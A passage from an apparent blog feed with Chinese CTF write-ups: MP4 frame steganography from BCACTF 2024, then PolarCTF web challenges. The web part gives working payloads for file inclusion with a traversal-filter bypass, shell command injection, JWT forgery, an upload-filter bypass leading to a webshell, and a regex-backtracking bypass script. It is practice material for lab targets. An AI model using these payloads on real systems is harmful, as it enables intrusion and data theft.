      <![CDATA[<h1 id="NSS刷题记录-BCACTF-2024-Static"><a href="#NSS刷题记录-BCACTF-2024-Static" class="headerlink" title="NSS刷题记录 [BCACTF 2024]Static"></a>NSS刷题记录 [BCACTF 2024]Static</h1><p>n久没更新过了复建一下</p><p>传新MP4隐写方式。</p><p>题目描述给了一串MD5值。给了一个mp4附件。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exiftool static.mp4</span><br></pre></td></tr></table></figure><p>找一下详细信息。发现encoder字段是一个网址，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260508175621508.png" alt="image-20260508175621508"></p><p>其中提供了一个包含StaticMaker的文档</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">The StaticMaker ™ utility converts any binary file into a video, suitable for use in … some application somewhere, probably.</span><br><span class="line">The default configuration is width=256, height=256.</span><br><span class="line"></span><br><span class="line">The program works by:</span><br><span class="line">1. Compressing the data</span><br><span class="line">2. Padding to a size that is a multiple of (6*width*height) bits</span><br><span class="line">3. Splitting the data into “subframes” of size (2*width*height) bits</span><br><span class="line">4. Writes data to video frames, which each triplet of three consecutive subframes are written to the red, green, and blue channels of one frame, respectively</span><br><span class="line">     Data written in row-major order</span><br><span class="line">     2 bits per pixel per channel</span><br><span class="line">THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.</span><br></pre></td></tr></table></figure><p>这是一个把二进制文件转换成视频的工具。转换思路是:把文件里的二进制数据（0 和 1）编码进视频每一帧的 RGB 像素里。</p><p>视频默认帧率是<code>256*256(width*heifht)</code>。</p><p>步骤</p><ol><li>压缩数据</li><li>把数据补齐到总长度是<code>6*width*heifht</code></li><li>把数据拆成多个子帧，每个子帧大小<code>2×width×height</code></li><li>按照red、green、blue的顺序从左到右从上到下依次写入视频帧。</li><li>每个像素颜色通道只存2bit数据</li></ol><p>我们要把每一帧提取出来，然后按照顺序还原数据。</p><p>提取帧</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ffmpeg -i static.mp4 frame_%04d.png</span><br></pre></td></tr></table></figure><p>从每一帧中提取bit还原数据</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode_frames</span>(<span class="params">frame_prefix, frame_count, width=<span class="number">256</span>, height=<span class="number">256</span></span>):</span><br><span class="line">    channels = [<span class="string">&#x27;R&#x27;</span>, <span class="string">&#x27;G&#x27;</span>, <span class="string">&#x27;B&#x27;</span>]</span><br><span class="line">    bit_position = <span class="number">4</span>  <span class="comment"># Bit position(4or6) chosen based on successful MD5 checksum match, were taken bitpositions [2,4,6,8]</span></span><br><span class="line">    </span><br><span class="line">    data_bits = []</span><br><span class="line">    <span class="keyword">for</span> frame_idx <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, frame_count + <span class="number">1</span>):</span><br><span class="line">        frame_path = <span class="string">f&quot;<span class="subst">&#123;frame_prefix&#125;</span><span class="subst">&#123;frame_idx:04d&#125;</span>.png&quot;</span></span><br><span class="line">        frame = Image.<span class="built_in">open</span>(frame_path)</span><br><span class="line">        frame = frame.convert(<span class="string">&quot;RGB&quot;</span>)</span><br><span class="line">        pixels = np.array(frame)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># Extract the specified bits from each color channel</span></span><br><span class="line">        r_channel = (pixels[:, :, <span class="number">0</span>] &amp; (<span class="number">0b11</span> &lt;&lt; bit_position)) &gt;&gt; bit_position</span><br><span class="line">        g_channel = (pixels[:, :, <span class="number">1</span>] &amp; (<span class="number">0b11</span> &lt;&lt; bit_position)) &gt;&gt; bit_position</span><br><span class="line">        b_channel = (pixels[:, :, <span class="number">2</span>] &amp; (<span class="number">0b11</span> &lt;&lt; bit_position)) &gt;&gt; bit_position</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># Flatten the channels and convert to bit strings</span></span><br><span class="line">        <span class="keyword">for</span> bits <span class="keyword">in</span> r_channel.flatten():</span><br><span class="line">            data_bits.append(<span class="built_in">format</span>(bits, <span class="string">&#x27;02b&#x27;</span>))</span><br><span class="line">        <span class="keyword">for</span> bits <span class="keyword">in</span> g_channel.flatten():</span><br><span class="line">            data_bits.append(<span class="built_in">format</span>(bits, <span class="string">&#x27;02b&#x27;</span>))</span><br><span class="line">        <span class="keyword">for</span> bits <span class="keyword">in</span> b_channel.flatten():</span><br><span class="line">            data_bits.append(<span class="built_in">format</span>(bits, <span class="string">&#x27;02b&#x27;</span>))</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;&#x27;</span>.join(data_bits)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_padding</span>(<span class="params">data_bits, width, height</span>):</span><br><span class="line">    size = <span class="number">6</span> * width * height</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;The size is&quot;</span>, size)</span><br><span class="line">    actual_size = <span class="built_in">len</span>(data_bits)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&#x27;The actual size is &#x27;</span>, actual_size)</span><br><span class="line">    <span class="keyword">if</span> actual_size % size == <span class="number">0</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Multiple of size&quot;</span>)</span><br><span class="line">        <span class="comment"># No padding to remove</span></span><br><span class="line">        <span class="keyword">return</span> data_bits   <span class="comment"># size was already in multiple so need for removing the padding.</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Calculate the number of excess bits to remove</span></span><br><span class="line">    padding_size = actual_size % size</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Remove the excess bits</span></span><br><span class="line">    data_bits = data_bits[:-padding_size]</span><br><span class="line">    <span class="keyword">return</span> data_bits</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">bits_to_bytes</span>(<span class="params">data_bits</span>):</span><br><span class="line">    byte_arr = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(data_bits), <span class="number">8</span>):</span><br><span class="line">        byte = data_bits[i:i+<span class="number">8</span>]</span><br><span class="line">        byte_arr.append(<span class="built_in">int</span>(byte, <span class="number">2</span>))</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(byte_arr)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calculate_md5</span>(<span class="params">data</span>):</span><br><span class="line">    md5 = hashlib.md5(data).hexdigest()</span><br><span class="line">    <span class="keyword">return</span> md5</span><br><span class="line"></span><br><span class="line"><span class="comment"># Parameters</span></span><br><span class="line">frame_prefix = <span class="string">&#x27;frame_&#x27;</span></span><br><span class="line">frame_count = <span class="number">72</span>  <span class="comment"># Total number of frames</span></span><br><span class="line">width = <span class="number">256</span></span><br><span class="line">height = <span class="number">256</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Decode frames</span></span><br><span class="line">data_bits = decode_frames(frame_prefix, frame_count, width, height)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Checking padding</span></span><br><span class="line">data_bits = check_padding(data_bits, width, height)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Convert bits to bytes</span></span><br><span class="line">compressed_data = bits_to_bytes(data_bits)</span><br><span class="line"></span><br><span class="line">output_path = <span class="string">&#x27;extracted_data.bin&#x27;</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(output_path, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(compressed_data)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Extracted data saved.&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Calculate and print MD5 checksum</span></span><br><span class="line">calculated_md5 = calculate_md5(compressed_data)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;MD5 checksum of extracted data after removing padding: <span class="subst">&#123;calculated_md5&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><p>还原得到的bin文件md5值和题目描述中的一致</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260508193711847.png" alt="image-20260508193711847"></p><p>然后分析bin文件，使用binwalk发现有压缩数据</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260508193835651.png" alt="image-20260508193835651"></p><p>可以直接在拓展文件里全局搜索bcactf{</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strings * | grep bcactf**&#123;**</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260508194002270.png" alt="image-20260508194002270"></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2026/05/08/NSS%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-BCACTF-2024-Static/</id>
    <link href="https://everythingis-ok.github.io/2026/05/08/NSS%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-BCACTF-2024-Static/"/>
    <published>2026-05-08T11:41:59.000Z</published>
    <summary>
      <![CDATA[<h1 id="NSS刷题记录-BCACTF-2024-Static"><a href="#NSS刷题记录-BCACTF-2024-Static" class="headerlink" title="NSS刷题记录 [BCACTF 2024]Static"></a>NSS刷题记录]]>
    </summary>
    <title>NSS刷题记录 [BCACTF 2024]Static</title>
    <updated>2026-05-08T13:15:08.176Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <content>
      <![CDATA[<h1 id="polarCTFweb刷题记录-简单-02"><a href="#polarCTFweb刷题记录-简单-02" class="headerlink" title="polarCTFweb刷题记录(简单)02"></a>polarCTFweb刷题记录(简单)02</h1><h2 id="SSTI"><a href="#SSTI" class="headerlink" title="SSTI"></a>SSTI</h2><p>直接用焚靖<code>cat /flag</code></p><h2 id="签到题"><a href="#签到题" class="headerlink" title="签到题"></a>签到题</h2><p>查看网页源代码：</p><p><img src="D:\work\notebook\ontebook\CTF\题目复现\assets\PixPin_2025-07-21_15-41-02.png" alt="PixPin_2025-07-21_15-41-02"></p><p>抓包发现<code>cookie</code>一行有关键词相关，修改no为yes,然后Base64解码切换路由。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_15-28-14.png" alt="PixPin_2025-07-21_15-28-14"></p><p>得到源代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    <span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line">    <span class="variable">$file</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>];</span><br><span class="line">    <span class="keyword">if</span>(!<span class="keyword">isset</span>(<span class="variable">$file</span>))</span><br><span class="line">        <span class="variable">$file</span> = <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line">    <span class="variable">$file</span> = <span class="title function_ invoke__">str_replace</span>(<span class="string">&#x27;../&#x27;</span>, <span class="string">&#x27;&#x27;</span>, <span class="variable">$file</span>);</span><br><span class="line">    <span class="keyword">include_once</span>(<span class="variable">$file</span>.<span class="string">&quot;.php&quot;</span>);</span><br><span class="line">    <span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>1.需要传入GET型参数file 2.把file中的<code>../</code>替换为空 3.把file参数当作php文件执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag</span><br></pre></td></tr></table></figure><h2 id="JWT"><a href="#JWT" class="headerlink" title="JWT"></a>JWT</h2><p>随便注册登陆一下账号，</p><p>抓包后看到hint：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_16-50-49.png" alt="PixPin_2025-07-21_16-50-49"></p><p>解码jwt看到签名验证失败，需要secret，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_17-00-57.png" alt="PixPin_2025-07-21_17-00-57"></p><p>用jwt-cracker爆一下密码：</p><p><img src="D:\work\notebook\ontebook\CTF\题目复现\assets\PixPin_2025-07-21_20-21-39.png" alt="PixPin_2025-07-21_20-21-39"></p><p>修改数据包，把<code>username</code>改成<code>admin</code>得到新的JWT数据。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_20-38-40.png" alt="PixPin_2025-07-21_20-38-40"></p><p>修改JWT之后可以看到用户名已经改为admin</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_20-41-38.png" alt="PixPin_2025-07-21_20-41-38"></p><p>查看个人信息得到flag：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_20-41-53.png" alt="PixPin_2025-07-21_20-41-53"></p><h2 id="Login"><a href="#Login" class="headerlink" title="Login"></a>Login</h2><p>是一个登陆界面，</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_20-53-06.png" alt="PixPin_2025-07-21_20-53-06"></p><p>查看源代码有学号密码，输入后登录成功。修改账号为20200102后出现一个<code>f</code>，爆破账号得到flag：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_21-02-15.png" alt="PixPin_2025-07-21_21-02-15"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_21-02-15-1753103132458-13.png" alt="PixPin_2025-07-21_21-02-15"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;dlcg&#125;</span><br></pre></td></tr></table></figure><h2 id="rce1"><a href="#rce1" class="headerlink" title="rce1"></a>rce1</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$res = FALSE;</span><br><span class="line"></span><br><span class="line">if (isset($_GET[&#x27;ip&#x27;]) &amp;&amp; $_GET[&#x27;ip&#x27;]) &#123;</span><br><span class="line">    $ip = $_GET[&#x27;ip&#x27;];</span><br><span class="line">    $m = [];</span><br><span class="line">    if (!preg_match_all(&quot;/ /&quot;, $ip, $m)) &#123;</span><br><span class="line">        $cmd = &quot;ping -c 4 &#123;$ip&#125;&quot;;</span><br><span class="line">        exec($cmd, $res);</span><br><span class="line">    &#125; else &#123;</span><br><span class="line">        $res = $m;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">&lt;html&gt;</span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line">if ($res) &#123;</span><br><span class="line">    print_r($res);</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>1.检查 URL 中是否有 <code>ip</code> 参数，并且该参数是否有值。2.将该 <code>ip</code> 参数值赋给 <code>$ip</code> 变量。</p><p>3.<code>$ip</code> 地址包含空格-&gt;将匹配到的空格信息（存储在 <code>$m</code> 中）赋值给 <code>$res</code>，而不是执行 <code>ping</code> 命令。</p><p>4.如果 IP 地址中没有空格-&gt;构造并执行 <code>ping</code> 命令，用 <code>exec()</code> 执行命令并将结果保存到 <code>$res</code> 中。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1;ls</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_21-28-00.png" alt="PixPin_2025-07-21_21-28-00"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1|cat$&#123;IFS&#125;fllllaaag.php</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_21-34-38.png" alt="PixPin_2025-07-21_21-34-38"></p><h2 id="upload"><a href="#upload" class="headerlink" title="upload"></a>upload</h2><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-21_21-37-56.png" alt="PixPin_2025-07-21_21-37-56"></p><p>根据提示传参得到源代码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$is_upload</span> = <span class="literal">false</span>;</span><br><span class="line"><span class="variable">$msg</span> = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;submit&#x27;</span>])) &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="title function_ invoke__">file_exists</span>(UPLOAD_PATH)) &#123;</span><br><span class="line">        <span class="variable">$deny_ext</span> = <span class="keyword">array</span>(<span class="string">&quot;php&quot;</span>,<span class="string">&quot;php5&quot;</span>,<span class="string">&quot;php4&quot;</span>,<span class="string">&quot;php3&quot;</span>,<span class="string">&quot;php2&quot;</span>,<span class="string">&quot;html&quot;</span>,<span class="string">&quot;htm&quot;</span>,<span class="string">&quot;phtml&quot;</span>,<span class="string">&quot;pht&quot;</span>,<span class="string">&quot;jsp&quot;</span>,<span class="string">&quot;jspa&quot;</span>,<span class="string">&quot;jspx&quot;</span>,<span class="string">&quot;jsw&quot;</span>,<span class="string">&quot;jsv&quot;</span>,<span class="string">&quot;jspf&quot;</span>,<span class="string">&quot;jtml&quot;</span>,<span class="string">&quot;asp&quot;</span>,<span class="string">&quot;aspx&quot;</span>,<span class="string">&quot;asa&quot;</span>,<span class="string">&quot;asax&quot;</span>,<span class="string">&quot;ascx&quot;</span>,<span class="string">&quot;ashx&quot;</span>,<span class="string">&quot;asmx&quot;</span>,<span class="string">&quot;cer&quot;</span>,<span class="string">&quot;swf&quot;</span>,<span class="string">&quot;htaccess&quot;</span>);</span><br><span class="line"> </span><br><span class="line">        <span class="variable">$file_name</span> = <span class="title function_ invoke__">trim</span>(<span class="variable">$_FILES</span>[<span class="string">&#x27;upload_file&#x27;</span>][<span class="string">&#x27;name&#x27;</span>]);</span><br><span class="line">        <span class="variable">$file_name</span> = <span class="title function_ invoke__">str_ireplace</span>(<span class="variable">$deny_ext</span>,<span class="string">&quot;&quot;</span>, <span class="variable">$file_name</span>);</span><br><span class="line">        <span class="variable">$temp_file</span> = <span class="variable">$_FILES</span>[<span class="string">&#x27;upload_file&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>];</span><br><span class="line">        <span class="variable">$img_path</span> = UPLOAD_PATH.<span class="string">&#x27;/&#x27;</span>.<span class="title function_ invoke__">rand</span>(<span class="number">10000</span>,<span class="number">99999</span>).<span class="variable">$file_name</span>;        </span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">move_uploaded_file</span>(<span class="variable">$temp_file</span>, <span class="variable">$img_path</span>)) &#123;</span><br><span class="line">            <span class="variable">$is_upload</span> = <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="variable">$msg</span> = <span class="string">&#x27;上传出错！&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="variable">$msg</span> = UPLOAD_PATH . <span class="string">&#x27;文件夹不存在,请手工创建！&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>1.定义黑名单。</p><p>2.获取上传文件的文件名，去掉两端空格。</p><p>3.将文件名中与黑名单中的扩展名匹配的部分替换为空。</p><p>4.<code>$img_path</code> 是目标路径，上传的文件将被存储到 <code>UPLOAD_PATH</code> 目录下，<code>rand(10000,99999)</code> 生成一个随机数加到文件名之前。</p><p>直接双写绕过，返回了文件上传路径：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-23_11-46-19.png" alt="PixPin_2025-07-23_11-46-19"></p><p>然后用蚁剑连接。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-23_11-49-14.png" alt="PixPin_2025-07-23_11-49-14"></p><h2 id="XFF"><a href="#XFF" class="headerlink" title="XFF"></a>XFF</h2><p>修改XFF为1.1.1.1：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-23_11-56-22.png" alt="PixPin_2025-07-23_11-56-22"></p><h2 id="swp"><a href="#swp" class="headerlink" title="swp"></a>swp</h2><p>dirsearch扫到一个叫做<code>/.index.php.swp</code>的备份文件。访问<code>/.index.php.swp</code></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-23_12-07-43.png" alt="PixPin_2025-07-23_12-07-43"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">jiuzhe</span>(<span class="params"><span class="variable">$xdmtql</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123; </span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">preg_match</span>(<span class="string">&#x27;/sys.*nb/is&#x27;</span>,<span class="variable">$xdmtql</span>); </span><br><span class="line">&#125; </span><br><span class="line"><span class="variable">$xdmtql</span>=@<span class="variable">$_POST</span>[<span class="string">&#x27;xdmtql&#x27;</span>]; </span><br><span class="line"><span class="keyword">if</span>(!<span class="title function_ invoke__">is_array</span>(<span class="variable">$xdmtql</span>))</span><br><span class="line">&#123; </span><br><span class="line">    <span class="keyword">if</span>(!<span class="title function_ invoke__">jiuzhe</span>(<span class="variable">$xdmtql</span>))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="title function_ invoke__">strpos</span>(<span class="variable">$xdmtql</span>,<span class="string">&#x27;sys nb&#x27;</span>)!==<span class="literal">false</span>)</span><br><span class="line">        &#123; </span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;flag&#123;*******&#125;&#x27;</span>; &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123; </span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;true .swp file?&#x27;</span>; &#125; </span><br><span class="line">    &#125;<span class="keyword">else</span>&#123; <span class="keyword">echo</span> <span class="string">&#x27;nijilenijile&#x27;</span>;</span><br><span class="line">         &#125; </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li>要传入POST型参数$xdmtql</li><li>参数不能与<code>/sys.*nb/is</code>正则匹配</li><li>参数不能是数组</li><li>结果的sys nb要在第一位</li></ol><p>使用回溯绕过法：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">res=requests.post(<span class="string">&quot;http://bfe113aa-a61f-4a5e-afd6-1ef3b9c4f8ff.www.polarctf.com:8090/&quot;</span>,data=&#123;<span class="string">&quot;xdmtql&quot;</span>:<span class="string">&quot;sys nb&quot;</span>+<span class="string">&quot;-&quot;</span>*<span class="number">1000000</span>&#125;)</span><br><span class="line"><span class="built_in">print</span>(res.text)</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-23_12-25-16.png" alt="PixPin_2025-07-23_12-25-16"></p><h2 id="投喂"><a href="#投喂" class="headerlink" title="投喂"></a>投喂</h2><p>dirsearch扫描发现有Dockerfile</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-24_15-21-49.png" alt="PixPin_2025-07-24_15-21-49"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-24_15-21-59.png" alt="PixPin_2025-07-24_15-21-59"></p><p>暴露了flag在的位置，我们可以直接访问：</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-24_15-22-05.png" alt="PixPin_2025-07-24_15-22-05"></p><h2 id="机器人"><a href="#机器人" class="headerlink" title="机器人"></a>机器人</h2><p>访问<code>robots.txt</code>得到一半flag和flag所在目录</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-24_15-31-55.png" alt="PixPin_2025-07-24_15-31-55"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-24_15-31-48.png" alt="PixPin_2025-07-24_15-31-48"></p><h2 id="井字棋"><a href="#井字棋" class="headerlink" title="井字棋"></a>井字棋</h2><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/PixPin_2025-07-24_17-48-08.png" alt="PixPin_2025-07-24_17-48-08"></p><p>查看游戏源代码，这是一个判断哪位玩家获得胜利的函数。</p><p>代码解释：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">fetch</span>(<span class="string">&quot;game.php&quot;</span>, &#123;</span><br><span class="line">    <span class="attr">method</span>: <span class="string">&quot;POST&quot;</span>,</span><br><span class="line">    <span class="attr">headers</span>: &#123;</span><br><span class="line">        <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/json&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="attr">body</span>: <span class="title class_">JSON</span>.<span class="title 